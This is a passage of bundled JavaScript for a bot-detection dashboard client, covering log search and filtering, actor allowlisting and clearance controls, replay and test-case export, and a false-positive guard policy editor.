\\\"mitigate\\\";\\n return \\\"allow\\\";\\n }\\n function verdictBadge(entry) {\\n if (entry.verdict === \\\"verified-bot\\\" || entry.verdict === \\\"confirmed-bot\\\") return [\\\"b-proven\\\", entry.verdict];\\n if (entry.verdict === \\\"suspected-bot\\\") return [\\\"b-suspected\\\", \\\"suspected-bot\\\"];\\n if (entry.verdict === \\\"human\\\") return [\\\"b-human\\\", \\\"human\\\"];\\n return [\\\"b-unknown\\\", entry.bypass !== void 0 ? `skipped · ${entry.bypass}` : \\\"unknown\\\"];\\n }\\n\\n // src/dashboard/client/query.ts\\n var FIELDS = {\\n path: \\\"path\\\",\\n url: \\\"path\\\",\\n actor: \\\"actor\\\",\\n ip: \\\"actor\\\",\\n ua: \\\"userAgent\\\",\\n useragent: \\\"userAgent\\\",\\n agent: \\\"userAgent\\\",\\n verdict: \\\"verdict\\\",\\n action: \\\"action\\\",\\n rule: \\\"rule\\\",\\n detector: \\\"detector\\\",\\n identity: \\\"identity\\\",\\n method: \\\"method\\\",\\n class: \\\"botClass\\\",\\n botclass: \\\"botClass\\\",\\n id: \\\"requestId\\\",\\n request: \\\"requestId\\\",\\n bypass: \\\"bypass\\\",\\n score: \\\"score\\\",\\n outcome: \\\"outcome\\\",\\n certain: \\\"certain\\\"\\n };\\n var NUMERIC = /* @__PURE__ */ new Set([\\\"score\\\"]);\\n function tokenize(input) {\\n const tokens = [];\\n let current = \\\"\\\";\\n let quoted = false;\\n for (const character of input) {\\n if (character === '\\\"') {\\n quoted = !quoted;\\n continue;\\n }\\n if (!quoted && /\\\\s/.test(character)) {\\n if (current !== \\\"\\\") tokens.push(current);\\n current = \\\"\\\";\\n continue;\\n }\\n current += character;\\n }\\n if (current !== \\\"\\\") tokens.push(current);\\n return tokens;\\n }\\n function parseQuery(input) {\\n const terms = [];\\n for (const token of tokenize(input.trim())) {\\n const negated = token.startsWith(\\\"-\\\") || token.startsWith(\\\"!\\\");\\n const body = negated ? token.slice(1) : token;\\n if (body === \\\"\\\") continue;\\n const colon = body.indexOf(\\\":\\\");\\n const name = colon === -1 ? \\\"\\\" : body.slice(0, colon).toLowerCase();\\n const field2 = FIELDS[name];\\n if (colon === -1 || field2 === void 0) {\\n terms.push({ field: void 0, value: body.toLowerCase(), negated });\\n continue;\\n }\\n let value = body.slice(colon + 1).toLowerCase();\\n let compare;\\n if (NUMERIC.has(field2)) {\\n compare = value.startsWith(\\\">\\\") ? \\\">\\\" : value.startsWith(\\\"<\\\") ? \\\"<\\\" : \\\"=\\\";\\n if (compare !== \\\"=\\\") value = value.slice(1);\\n }\\n if (value === \\\"\\\") continue;\\n terms.push({ field: field2, value, negated, compare });\\n }\\n return terms;\\n }\\n function searchableText(entry) {\\n const parts = [\\n entry.method,\\n entry.path,\\n entry.actor,\\n entry.userAgent,\\n entry.verdict,\\n entry.botClass,\\n entry.identity ?? \\\"\\\",\\n entry.action ?? \\\"\\\",\\n entry.rule ?? \\\"\\\",\\n entry.requestId\\n ];\\n for (const item of entry.evidence) parts.push(item.detector, item.summary);\\n return parts.join(\\\" \\\").toLowerCase();\\n }\\n function fieldValue(entry, field2) {\\n switch (field2) {\\n case \\\"path\\\":\\n return entry.path;\\n case \\\"actor\\\":\\n return entry.actor;\\n case \\\"userAgent\\\":\\n return entry.userAgent;\\n case \\\"verdict\\\":\\n return entry.verdict;\\n case \\\"action\\\":\\n return entry.action ?? \\\"\\\";\\n case \\\"rule\\\":\\n return entry.rule ?? \\\"\\\";\\n case \\\"identity\\\":\\n return entry.identity ?? \\\"\\\";\\n case \\\"method\\\":\\n return entry.method;\\n case \\\"botClass\\\":\\n return entry.botClass;\\n case \\\"requestId\\\":\\n return entry.requestId;\\n case \\\"bypass\\\":\\n return entry.bypass ?? \\\"\\\";\\n case \\\"outcome\\\":\\n return outcome(entry);\\n case \\\"certain\\\":\\n return String(entry.certain);\\n case \\\"detector\\\":\\n return entry.evidence.map((item) => item.detector).join(\\\" \\\");\\n default:\\n return \\\"\\\";\\n }\\n }\\n function matchesTerm(term, entry, haystack) {\\n if (term.field === void 0) return haystack.includes(term.value);\\n if (term.field === \\\"score\\\") {\\n const wanted = Number(term.value);\\n if (Number.isNaN(wanted)) return false;\\n if (term.compare === \\\">\\\") return entry.score > wanted;\\n if (term.compare === \\\"<\\\") return entry.score < wanted;\\n return entry.score === wanted;\\n }\\n return fieldValue(entry, term.field).toLowerCase().includes(term.value);\\n }\\n function matchesQuery(terms, entry, haystack) {\\n for (const term of terms) {\\n if (matchesTerm(term, entry, haystack) === term.negated) return false;\\n }\\n return true;\\n }\\n function matchesFilter(filter, entry) {\\n switch (filter) {\\n case \\\"proven\\\":\\n return entry.certain;\\n case \\\"suspected\\\":\\n return entry.verdict === \\\"suspected-bot\\\";\\n case \\\"human\\\":\\n return entry.verdict === \\\"human\\\";\\n case \\\"guard\\\":\\n return entry.downgradedFrom !== void 0;\\n case \\\"deny\\\":\\n return outcome(entry) === \\\"deny\\\";\\n case \\\"mitigate\\\":\\n return outcome(entry) === \\\"mitigate\\\";\\n case \\\"allow\\\":\\n return outcome(entry) === \\\"allow\\\";\\n default:\\n return true;\\n }\\n }\\n\\n // src/dashboard/client/store.ts\\n var MAX_ROWS = 1e3;\\n var FEED_LIMIT = 300;\\n var state = {\\n rows: [],\\n byId: /* @__PURE__ */ new Map(),\\n snapshot: void 0,\\n policy: void 0,\\n actors: [],\\n actorsTracked: 0,\\n paused: false,\\n filter: \\\"all\\\",\\n search: \\\"\\\",\\n terms: [],\\n tab: \\\"live\\\",\\n open: /* @__PURE__ */ new Set(),\\n actor: void 0,\\n rangeMs: 3e5,\\n scoreScope: \\\"run\\\",\\n editorRules: [],\\n editorDirty: false,\\n editorMode: \\\"gui\\\",\\n guardDirty: false,\\n bufferedWhilePaused: 0,\\n laggedDrops: 0\\n };\\n function ingest(entry) {\\n const existing = state.byId.get(entry.requestId);\\n if (existing !== void 0) {\\n existing.entry = entry;\\n existing.rev++;\\n existing.text = void 0;\\n return;\\n }\\n const row = { entry, rev: 0 };\\n state.byId.set(entry.requestId, row);\\n state.rows.push(row);\\n if (state.rows.length > MAX_ROWS) {\\n for (const dropped of state.rows.splice(0, state.rows.length - MAX_ROWS)) {\\n state.byId.delete(dropped.entry.requestId);\\n state.open.delete(dropped.entry.requestId);\\n }\\n }\\n }\\n function clearFeed() {\\n state.rows = [];\\n state.byId = /* @__PURE__ */ new Map();\\n state.open.clear();\\n state.actor = void 0;\\n state.bufferedWhilePaused = 0;\\n }\\n function setSearch(value) {\\n state.search = value;\\n state.terms = parseQuery(value);\\n }\\n function textOf(row) {\\n if (row.text === void 0) row.text = searchableText(row.entry);\\n return row.text;\\n }\\n function matches(row) {\\n return matchesFilter(state.filter, row.entry) && matchesQuery(state.terms, row.entry, textOf(row));\\n }\\n function visibleRows(limit = FEED_LIMIT) {\\n const shown = [];\\n for (let i = state.rows.length - 1; i >= 0 && shown.length < limit; i--) {\\n const row = state.rows[i];\\n if (row !== void 0 && matches(row)) shown.push(row);\\n }\\n return shown;\\n }\\n function matchingCount() {\\n let count = 0;\\n for (const row of state.rows) if (matches(row)) count++;\\n return count;\\n }\\n function oldestAt() {\\n return state.rows[0]?.entry.at;\\n }\\n function bump(counter, key) {\\n counter.set(key, (counter.get(key) ?? 0) + 1);\\n }\\n function aggregate(rows) {\\n const totals = {\\n detectors: /* @__PURE__ */ new Map(),\\n actors: /* @__PURE__ */ new Map(),\\n identities: /* @__PURE__ */ new Map(),\\n paths: /* @__PURE__ */ new Map(),\\n deniedPaths: /* @__PURE__ */ new Map(),\\n guardStops: /* @__PURE__ */ new Map(),\\n ruleHits: /* @__PURE__ */ new Map(),\\n bypassed: /* @__PURE__ */ new Map()\\n };\\n for (const { entry } of rows) {\\n for (const item of entry.evidence) bump(totals.detectors, item.detector);\\n bump(totals.actors, entry.actor);\\n if (entry.bypass !== void 0) {\\n bump(totals.bypassed, `${entry.path} (${entry.bypass})`);\\n continue;\\n }\\n bump(totals.paths, entry.path);\\n if (entry.identity !== void 0 && entry.identity !== \\\"\\\") {\\n bump(totals.identities, `${entry.identity} · ${entry.verdict === \\\"verified-bot\\\" ? \\\"verified\\\" : \\\"claimed\\\"}`);\\n }\\n if (outcome(entry) === \\\"deny\\\") bump(totals.deniedPaths, entry.path);\\n if (entry.downgradedFrom !== void 0 && entry.rule !== void 0) bump(totals.guardStops, `${entry.rule} → ${entry.downgradedFrom}`);\\n if (entry.rule !== void 0) bump(totals.ruleHits, entry.rule);\\n }\\n return totals;\\n }\\n\\n // src/dashboard/client/api.ts\\n async function getJson(path) {\\n const response = await fetch(API + path);\\n if (!response.ok) throw new Error(await errorFrom(response));\\n return await response.json();\\n }\\n async function postJson(path, body) {\\n const response = await fetch(API + path, {\\n method: \\\"POST\\\",\\n headers: { \\\"content-type\\\": \\\"application/json\\\" },\\n body: JSON.stringify(body)\\n });\\n const data = await response.json().catch(() => ({}));\\n return response.ok ? { ok: true, data } : { ok: false, data, error: String(data.error ?? \\\"The server refused this.\\\") };\\n }\\n async function errorFrom(response) {\\n const body = await response.json().catch(() => ({}));\\n return body.error ?? `${response.status} ${response.statusText}`;\\n }\\n\\n // src/dashboard/client/actions.ts\\n var armed = 0;\\n function isConfirming() {\\n return armed > 0;\\n }\\n function actorActions(key, after) {\\n if (!BOOT.allowActing) return [];\\n const forget = el(\\\"button\\\", null, \\\"Forget\\\");\\n forget.title = \\\"Discard this actor's history — the cure for a false positive that has stuck\\\";\\n forget.addEventListener(\\\"click\\\", () => {\\n void act({ key, action: \\\"forget\\\" }, `Forgot ${key}`, \\\"Its next request is assessed as a first request.\\\", after);\\n });\\n const clear2 = el(\\\"button\\\", null, \\\"Clear as human\\\");\\n clear2.title = \\\"Grant this actor human clearance for an hour, as though it had solved a challenge\\\";\\n clear2.addEventListener(\\\"click\\\", () => {\\n void act({ key, action: \\\"clear\\\", forMs: 60 * 6e4 }, `Cleared ${key}`, \\\"Held as human for an hour, then reassessed.\\\", after);\\n });\\n return [confirmingButton(\\\"Allowlist\\\", `Allowlist ${key} — it stops being assessed at all`, () => allowlist(key, after)), forget, clear2];\\n }\\n function confirmingButton(label2, confirmation, run2) {\\n const button = el(\\\"button\\\", \\\"danger\\\", label2);\\n let pending2 = false;\\n let timer2;\\n const disarm = () => {\\n if (!pending2) return;\\n pending2 = false;\\n armed--;\\n button.textContent = label2;\\n button.className = \\\"danger\\\";\\n };\\n button.addEventListener(\\\"click\\\", () => {\\n if (pending2) {\\n if (timer2 !== void 0) clearTimeout(timer2);\\n disarm();\\n run2();\\n return;\\n }\\n pending2 = true;\\n armed++;\\n button.textContent = confirmation;\\n button.className = \\\"danger primary\\\";\\n timer2 = setTimeout(disarm, 5e3);\\n });\\n return button;\\n }\\n async function allowlist(key, after) {\\n const result = await postJson(\\\"/api/ranges\\\", { name: \\\"allowlist\\\", add: [key] });\\n if (!result.ok) {\\n toast(\\\"bad\\\", \\\"Not allowlisted\\\", result.error ?? \\\"\\\");\\n return;\\n }\\n toast(\\\"warn\\\", `Allowlisted ${key}`, \\\"Requests from it are no longer assessed at all.\\\");\\n after();\\n }\\n async function act(body, title, detail, after) {\\n const result = await postJson(\\\"/api/actor\\\", body);\\n if (!result.ok) {\\n toast(\\\"bad\\\", \\\"Refused\\\", result.error ?? \\\"\\\");\\n return;\\n }\\n toast(\\\"ok\\\", title, detail);\\n after();\\n }\\n\\n // src/dashboard/client/format.ts\\n var numbers = new Intl.NumberFormat();\\n function n(value) {\\n return numbers.format(value ?? 0);\\n }\\n function pct(part, whole) {\\n return whole > 0 ? `${Math.round(part / whole * 100)}%` : \\\"—\\\";\\n }\\n function ms(value) {\\n return value >= 10 ? `${value.toFixed(1)}ms` : `${value.toFixed(2)}ms`;\\n }\\n function uptime(milliseconds) {\\n const seconds = Math.max(0, Math.round(milliseconds / 1e3));\\n if (seconds < 90) return `${seconds}s`;\\n const minutes = Math.round(seconds / 60);\\n if (minutes < 90) return `${minutes}m`;\\n return `${Math.round(minutes / 60)}h`;\\n }\\n function rangeLabel(milliseconds) {\\n const seconds = Math.round(milliseconds / 1e3);\\n if (seconds < 90) return `${seconds}s`;\\n const minutes = Math.round(seconds / 60);\\n return minutes < 90 ? `${minutes} min` : `${Math.round(minutes / 60)}h`;\\n }\\n function clockTime(at) {\\n return new Date(at).toLocaleTimeString();\\n }\\n function windowLabel(count, oldestAt2, now) {\\n if (count === 0) return \\\"this window · empty\\\";\\n const span = oldestAt2 === void 0 ? 0 : Math.max(0, now - oldestAt2);\\n return `last ${n(count)} requests · ${rangeLabel(span)}`;\\n }\\n\\n // src/dashboard/client/bars.ts\\n function drawBars(target, rows, emptyText) {\\n clear(target);\\n const filtered = [...rows].filter(([, value]) => value > 0);\\n if (filtered.length === 0) {\\n target.appendChild(el(\\\"div\\\", \\\"note\\\", emptyText));\\n return;\\n }\\n filtered.sort((a, b) => b[1] - a[1]);\\n const max = filtered[0]?.[1] ?? 1;\\n for (const [label2, value] of filtered.slice(0, 14)) {\\n const bar = el(\\\"div\\\", \\\"bar\\\");\\n const track = el(\\\"div\\\", \\\"track\\\");\\n const fill = el(\\\"div\\\", \\\"fill\\\");\\n fill.style.width = `${Math.max(2, Math.round(value / max * 100))}%`;\\n track.appendChild(fill);\\n track.appendChild(el(\\\"div\\\", \\\"lbl\\\", label2));\\n bar.appendChild(track);\\n bar.appendChild(el(\\\"div\\\", \\\"v tnum\\\", n(value)));\\n target.appendChild(bar);\\n }\\n }\\n function pairs(record) {\\n return Object.entries(record ?? {});\\n }\\n\\n // src/dashboard/client/actor.ts\\n function initActor() {\\n if (!SECTIONS.actors) return;\\n $(\\\"actor-close\\\").addEventListener(\\\"click\\\", closeActor);\\n }\\n function openActor(key) {\\n state.actor = key;\\n app.drawNow();\\n $(\\\"actor-panel\\\").scrollIntoView({ block: \\\"nearest\\\" });\\n }\\n function closeActor() {\\n state.actor = void 0;\\n app.drawNow();\\n }\\n function drawActor() {\\n if (!SECTIONS.actors) return;\\n const panel = $(\\\"actor-panel\\\");\\n if (state.actor === void 0) {\\n panel.hidden = true;\\n return;\\n }\\n panel.hidden = false;\\n $(\\\"actor-key\\\").textContent = state.actor;\\n const mine = state.rows.filter((row) => row.entry.actor === state.actor).map((row) => row.entry);\\n const latest = mine[mine.length - 1];\\n const stats = latest?.actorStats;\\n const gaps = [];\\n for (let i = 1; i < mine.length; i++) gaps.push(mine[i].at - mine[i - 1].at);\\n const meanGap = gaps.length > 0 ? gaps.reduce((a, b) => a + b, 0) / gaps.length : 0;\\n const box = $(\\\"actor-stats\\\");\\n clear(box);\\n const rows = [\\n [\\\"In this window\\\", `${n(mine.length)} requests`],\\n [\\\"Engine sees\\\", stats !== void 0 ? `${n(stats.requests)} requests, ${n(stats.distinctPaths)} distinct paths` : \\\"—\\\"],\\n [\\\"Prior confirmations\\\", stats !== void 0 ? n(stats.priorConfirmations) : \\\"—\\\"],\\n [\\\"Holds clearance\\\", stats !== void 0 ? stats.cleared ? \\\"yes\\\" : \\\"no\\\" : \\\"—\\\"],\\n [\\\"First seen\\\", stats !== void 0 ? clockTime(stats.firstSeen) : \\\"—\\\"],\\n [\\\"Mean gap\\\", gaps.length > 0 ? `${Math.round(meanGap)}ms over ${n(gaps.length)} gaps` : \\\"one request only\\\"]\\n ];\\n for (const [key, value] of rows) {\\n box.appendChild(el(\\\"dt\\\", null, key));\\n box.appendChild(el(\\\"dd\\\", null, value));\\n }\\n const verdicts = /* @__PURE__ */ new Map();\\n const actions = /* @__PURE__ */ new Map();\\n for (const entry of mine) {\\n verdicts.set(entry.verdict, (verdicts.get(entry.verdict) ?? 0) + 1);\\n if (entry.action !== void 0) actions.set(entry.action, (actions.get(entry.action) ?? 0) + 1);\\n }\\n drawBars($(\\\"actor-mix\\\"), [...verdicts, ...actions], \\\"Nothing yet.\\\");\\n const bar = $(\\\"actor-actions\\\");\\n clear(bar);\\n const buttons = actorActions(state.actor, () => app.drawNow());\\n bar.hidden = buttons.length === 0;\\n for (const button of buttons) bar.appendChild(button);\\n }\\n\\n // src/dashboard/client/replay.ts\\n function replayLine(entry) {\\n const headers = {};\\n for (const [name, value] of entry.headers ?? []) headers[name] = value;\\n const query = Object.keys(entry.query).map((name) => `${encodeURIComponent(name)}=${encodeURIComponent(entry.query[name] ?? \\\"\\\")}`).join(\\\"&\\\");\\n return JSON.stringify({\\n method: entry.method,\\n url: entry.path + (query === \\\"\\\" ? \\\"\\\" : `?${query}`),\\n headers,\\n ip: entry.actor,\\n timestamp: new Date(entry.at).toISOString(),\\n protocol: entry.protocol ?? \\\"https\\\",\\n httpVersion: entry.httpVersion ?? \\\"1.1\\\"\\n });\\n }\\n function replayFile(entries) {\\n return entries.map(replayLine).join(\\\"\\\\n\\\");\\n }\\n function corpusCase(entry) {\\n const headers = (entry.headers ?? []).map((pair) => ` [${JSON.stringify(pair[0])}, ${JSON.stringify(pair[1])}]`).join(\\\",\\\\n\\\");\\n return [\\n \\\"bot({\\\",\\n ` id: ${JSON.stringify(`case-${entry.requestId.toLowerCase().replace(/[^a-z0-9]+/g, \\\"-\\\")}`)},`,\\n ` title: ${JSON.stringify(`${entry.method} ${entry.path} from ${entry.userAgent.slice(0, 60)}`)},`,\\n ' audience: \\\"unwanted-bot\\\", // human | benign-bot | declared-bot | unwanted-bot | hostile | infrastructure',\\n ' category: \\\"observed\\\",',\\n ` provenance: \\\"Captured from the live dashboard on ${new Date(entry.at).toISOString().slice(0, 10)}\\\",`,\\n \\\" requests: [\\\",\\n \\\" {\\\",\\n \\\" headers: [\\\",\\n headers,\\n \\\" ],\\\",\\n ` protocol: ${JSON.stringify(entry.protocol ?? \\\"https\\\")},`,\\n ` httpVersion: ${JSON.stringify(entry.httpVersion ?? \\\"1.1\\\")},`,\\n ` path: ${JSON.stringify(entry.path)},`,\\n \\\" },\\\",\\n \\\" ],\\\",\\n ` expect: { verdict: ${JSON.stringify(entry.verdict)}, certain: ${String(entry.certain)} },`,\\n \\\"}),\\\"\\n ].join(\\\"\\\\n\\\");\\n }\\n\\n // src/dashboard/client/result.ts\\n function showResult(kind, build) {\\n const box = $(\\\"policy-result\\\");\\n box.hidden = false;\\n box.className = `result ${kind}`;\\n clear(box);\\n build(box);\\n }\\n function renderPreview(preview, notes = []) {\\n showResult(preview.newDenials > 0 ? \\\"warn\\\" : \\\"ok\\\", (box) => {\\n const head = el(\\\"div\\\");\\n head.appendChild(el(\\\"b\\\", null, `${n(preview.changed)} of ${n(preview.evaluated)} requests would be treated differently.`));\\n box.appendChild(head);\\n for (const note of notes) box.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", note));\\n if (preview.newDenials > 0) {\\n box.appendChild(el(\\\"div\\\", null, `${n(preview.newDenials)} request(s) that are served today would be denied. Read the samples before applying this.`));\\n }\\n for (const warning of preview.warnings) box.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", warning));\\n const dead = preview.ruleHits.filter((row) => row.hits === 0 && row.rule !== \\\"default\\\");\\n if (dead.length > 0) box.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", `Never matched in this window: ${dead.map((row) => row.rule).join(\\\", \\\")}`));\\n if (preview.samples.length > 0) {\\n const table = el(\\\"table\\\", \\\"diff\\\");\\n const head2 = el(\\\"tr\\\");\\n for (const label2 of [\\\"Request\\\", \\\"Now\\\", \\\"Would be\\\"]) head2.appendChild(el(\\\"th\\\", null, label2));\\n table.appendChild(head2);\\n for (const sample of preview.samples) {\\n const row = el(\\\"tr\\\");\\n const what = el(\\\"td\\\");\\n what.appendChild(el(\\\"div\\\", \\\"mono\\\", sample.path));\\n what.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", `${sample.verdict} · ${sample.userAgent.slice(0, 48)}`));\\n row.appendChild(what);\\n const from = el(\\\"td\\\", \\\"from\\\");\\n from.appendChild(el(\\\"div\\\", null, sample.from));\\n from.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", sample.fromRule));\\n row.appendChild(from);\\n const kind = sample.to === \\\"block\\\" || sample.to === \\\"drop\\\" || sample.to === \\\"redirect\\\" ? \\\"deny\\\" : sample.to === \\\"allow\\\" ? \\\"allow\\\" : \\\"\\\";\\n const to = el(\\\"td\\\", `to ${kind}`);\\n to.appendChild(el(\\\"div\\\", null, sample.to));\\n to.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", sample.toRule));\\n row.appendChild(to);\\n table.appendChild(row);\\n }\\n box.appendChild(table);\\n } else if (preview.evaluated === 0) {\\n box.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", \\\"No traffic in the window to preview against — send some requests first.\\\"));\\n }\\n });\\n }\\n\\n // src/dashboard/client/guard.ts\\n var draft;\\n var MODE_NOTES = {\\n strict: \\\"A terminal action survives only on proven evidence. Nothing is ever denied on a guess. This is the default, and it is the claim this library makes about itself.\\\",\\n balanced: \\\"A terminal action also survives on a probabilistic verdict that clears the score threshold with at least two independent strong signals. Real people do trip two signals — a hardened browser behind a corporate proxy is the usual pair — so this setting will eventually deny somebody who should have been served.\\\",\\n aggressive: \\\"The guard is off. Every rule does exactly what it says, on proof or on suspicion alike, and the people it turns away first are the ones with the most unusual and most legitimate setups.\\\"\\n };\\n function drawGuard() {\\n if (!SECTIONS.guard) return;\\n const document_ = state.policy;\\n const snapshot = state.snapshot;\\n if (snapshot === void 0) return;\\n const editable = document_?.guardEditable === true;\\n const panel = $(\\\"stat-policy\\\");\\n clear(panel);\\n if (!editable || document_ === void 0) {\\n const rows = [\\n [\\\"False-positive policy\\\", snapshot.policy.falsePositivePolicy],\\n [\\\"Fallback when the guard stops a rule\\\", snapshot.policy.fallbackAction],\\n [\\\"Terminal score threshold\\\", String(snapshot.policy.terminalScoreThreshold)],\\n [\\\"Suspect threshold\\\", String(snapshot.policy.suspectThreshold)],\\n [\\\"Action when no rule matches\\\", snapshot.policy.defaultAction],\\n [\\\"Challenge configured\\\", snapshot.policy.challengeEnabled ? \\\"yes\\\" : \\\"no\\\"],\\n [\\\"Range sets\\\", snapshot.ranges.length === 0 ? \\\"none\\\" : snapshot.ranges.map((range) => `${range.name} (${range.size})`).join(\\\", \\\")]\\n ];\\n for (const [key, value] of rows) {\\n const line = el(\\\"div\\\", \\\"stat-row\\\");\\n line.appendChild(el(\\\"span\\\", \\\"k\\\", key));\\n line.appendChild(el(\\\"span\\\", \\\"v\\\", value));\\n panel.appendChild(line);\\n }\\n $(\\\"guard-mode\\\").textContent = \\\"not editable here\\\";\\n $(\\\"guard-note\\\").textContent = \\\"These are fixed at construction on this dashboard. It can change which rules exist; it cannot change how far a rule is allowed to go, because relaxing that is the one edit that can start denying people. Enable it deliberately with controls: { editGuard: true }.\\\";\\n return;\\n }\\n if (draft === void 0) draft = { ...document_.guard };\\n const vocabulary = document_.vocabulary;\\n $(\\\"guard-mode\\\").textContent = state.guardDirty ? \\\"unsaved changes\\\" : \\\"editable\\\";\\n $(\\\"guard-note\\\").textContent = \\\"Changing these changes what every rule is allowed to do, on the next request. Preview it against the traffic in the window first — that is the only view you get of who it would start turning away.\\\";\\n panel.appendChild(\\n guardField(\\n // \\\"Mode\\\" rather than \\\"Guard\\\": the panel is already called that, and a field\\n // repeating its own panel's name reads as a heading rather than as a control.\\n \\\"Mode\\\",\\n segmented(\\n vocabulary.falsePositivePolicies.map((mode) => [mode, mode]),\\n draft.falsePositivePolicy,\\n (value) => {\\n setDraft({ falsePositivePolicy: value });\\n drawGuard();\\n }\\n )\\n )\\n );\\n panel.appendChild(el(\\\"div\\\", \\\"note guard-explains\\\", MODE_NOTES[draft.falsePositivePolicy] ?? \\\"\\\"));\\n panel.appendChild(\\n guardField(\\n \\\"Fallback\\\",\\n select(vocabulary.fallbackActions, draft.fallbackAction, (value) => setDraft({ fallbackAction: value })),\\n \\\"what a stopped rule becomes — the terminal actions are absent because a terminal fallback would deny the request the guard just protected\\\"\\n )\\n );\\n panel.appendChild(\\n guardField(\\n \\\"Default action\\\",\\n select(vocabulary.actions, draft.defaultAction, (value) => setDraft({ defaultAction: value })),\\n \\\"when no rule matches\\\"\\n )\\n );\\n panel.appendChild(\\n guardField(\\n \\\"Terminal score\\\",\\n number(draft.terminalScoreThreshold, (value) => setDraft({ terminalScoreThreshold: value })),\\n \\\"balanced mode only: the score a probabilistic verdict must clear\\\"\\n )\\n );\\n panel.appendChild(\\n guardField(\\n \\\"Suspect at\\\",\\n number(draft.suspectThreshold, (value) => setDraft({ suspectThreshold: value })),\\n \\\"the score at which a request becomes suspected-bot\\\"\\n )\\n );\\n const bar = el(\\\"div\\\", \\\"bar-actions\\\");\\n const preview = el(\\\"button\\\", null, \\\"Preview\\\");\\n preview.addEventListener(\\\"click\\\", () => {\\n void previewGuard();\\n });\\n const apply = el(\\\"button\\\", \\\"primary\\\", \\\"Apply\\\");\\n apply.addEventListener(\\\"click\\\", () => {\\n void applyGuard();\\n });\\n const revert = el(\\\"button\\\", null, \\\"Revert\\\");\\n revert.addEventListener(\\\"click\\\", () => {\\n draft = { ...document_.guard };\\n state.guardDirty = false;\\n drawGuard();\\n });\\n bar.appendChild(preview);\\n bar.appendChild(apply);\\n bar.appendChild(revert);\\n panel.appendChild(bar);\\n }\\n function setDraft(change) {\\n if (draft === void 0) return;\\n draft = { ...draft, ...change };\\n state.guardDirty = true;\\n $(\\\"guard-mode\\\").textContent = \\\"unsaved changes\\\";\\n }\\n function resetGuardDraft() {\\n draft = void 0;\\n state.guardDirty = false;\\n }\\n function liveRules() {\\n return (state.policy?.rules ?? []).filter((row) => row.editable && row.rule !== void 0).map((row) => row.rule);\\n }\\n async function previewGuard() {\\n if (draft === void 0) return;\\n const result = await postJson(\\\"/api/policy/preview\\\", { rules: liveRules(), guard: draft });\\n if (!result.ok) {\\n showResult(\\\"bad\\\", (box) => box.appendChild(el(\\\"div\\\", null, result.error ?? \\\"\\\")));\\n toast(\\\"bad\\\", \\\"Refused\\\", result.error ?? \\\"\\\");\\n return;\\n }\\n renderPreview(result.data, state.editorDirty ? [\\\"Previewed against the rules currently in force, not the unsaved edits in the editor.\\\"] : []);\\n app.showTab(\\\"policy\\\");\\n }\\n async function applyGuard() {\\n if (draft === void 0) return;\\n const result = await postJson(\\\"/api/guard\\\", draft);\\n if (!result.ok) {\\n showResult(\\\"bad\\\", (box) => box.appendChild(el(\\\"div\\\", null, result.error ?? \\\"\\\")));\\n toast(\\\"bad\\\", \\\"Guard unchanged\\\", result.error ?? \\\"\\\");\\n return;\\n }\\n state.guardDirty = false;\\n draft = { ...result.data.guard };\\n if (state.policy !== void 0) state.policy.guard = { ...result.data.guard };\\n toast(\\\"ok\\\", \\\"Guard changed\\\", `${result.data.guard.falsePositivePolicy}, falling back to ${result.data.guard.fallbackAction}.`);\\n showResult(\\\"warn\\\", (box) => {\\n box.appendChild(el(\\\"div\\\", null, \\\"The guard changed. It applies from the next request, and it is in the notices panel and in your logs.\\\"));\\n if (result.data.guard.falsePositivePolicy !== \\\"strict\\\") {\\n box.appendChild(\\n el(\\n \\\"div\\\",\\n \\\"ev-meta\\\",\\n \\\"Requests can now be denied without proof. The guard-stop count is the series to watch: every stop that no longer happens is a request that used to be recoverable and is not any more.\\\"\\n )\\n );\\n }\\n });\\n app.draw();\\n }\\n function guardField(name, control, hint) {\\n const row = el(\\\"div\\\", \\\"field\\\");\\n row.appendChild(label(name, control));\\n const right = el(\\\"div\\\", \\\"field-row\\\");\\n right.appendChild(control);\\n if (hint !== void 0) right.appendChild(el(\\\"span\\\", \\\"hint\\\", hint));\\n row.appendChild(right);\\n return row;\\n }\\n function segmented(options, value, onChange) {\\n const box = el(\\\"div\\\", \\\"seg\\\");\\n for (const [label2, option] of options) {\\n const button = el(\\\"button\\\", null, label2);\\n button.type = \\\"button\\\";\\n button.setAttribute(\\\"aria-pressed\\\", String(option === value));\\n button.addEventListener(\\\"click\\\", () => onChange(option));\\n box.appendChild(button);\\n }\\n return box;\\n }\\n function select(options, value, onChange) {\\n const node = el(\\\"select\\\");\\n for (const option of options) {\\n const item = el(\\\"option\\\", null, option);\\n item.value = option;\\n if (option === value) item.selected = true;\\n node.appendChild(item);\\n }\\n node.addEventListener(\\\"change\\\", () => onChange(node.value));\\n return node;\\n }\\n function number(value, onChange) {\\n const input = el(\\\"input\\\");\\n input.type = \\\"number\\\";\\n input.min = \\\"1\\\";\\n input.max = \\\"100\\\";\\n input.value = String(value);\\n input.addEventListener(\\\"input\\\", () => {\\n if (input.value !== \\\"\\\") onChange(Number(input.value));\\n });\\n return input;\\n }\\n\\n // src/dashboard/client/ranges.ts\\n var sets = [];\\n async function loadRanges() {\\n if (!SECTIONS.ranges) return;\\n try {\\n const body = await getJson(\\\"/api/ranges\\\");\\n sets = body.ranges;\\n drawRanges();\\n } catch {\\n }\\n }\\n function drawRanges() {\\n if (!SECTIONS.ranges) return;\\n const body = $(\\\"ranges-body\\\");\\n clear(body);\\n $(\\\"ranges-mode\\\").textContent = BOOT.allowActing ? \\\"editable\\\" : \\\"read-only\\\";\\n $(\\\"ranges-note\\\").textContent = BOOT.allowActing ? \\\"An address on the allowlist is not judged leniently — it is not judged at all. Detection does not run on it, no evidence is produced, and no rule sees it.\\\" : \\\"These come from the code that constructed the handler. Enable controls.editRanges to add an address from here.\\\";\\n if (sets.length === 0) {\\n body.appendChild(el(\\\"div\\\", \\\"note\\\", \\\"No range sets are configured. Add an address to the allowlist and one appears.\\\"));\\n }\\n for (const set of sets) {\\n const block = el(\\\"div\\\", \\\"rangeset\\\");\\n const heading = el(\\\"h3\\\");\\n heading.appendChild(document.createTextNode(set.name));\\n heading.appendChild(el(\\\"span\\\", null, `${n(set.size)} entr${set.size === 1 ? \\\"y\\\" : 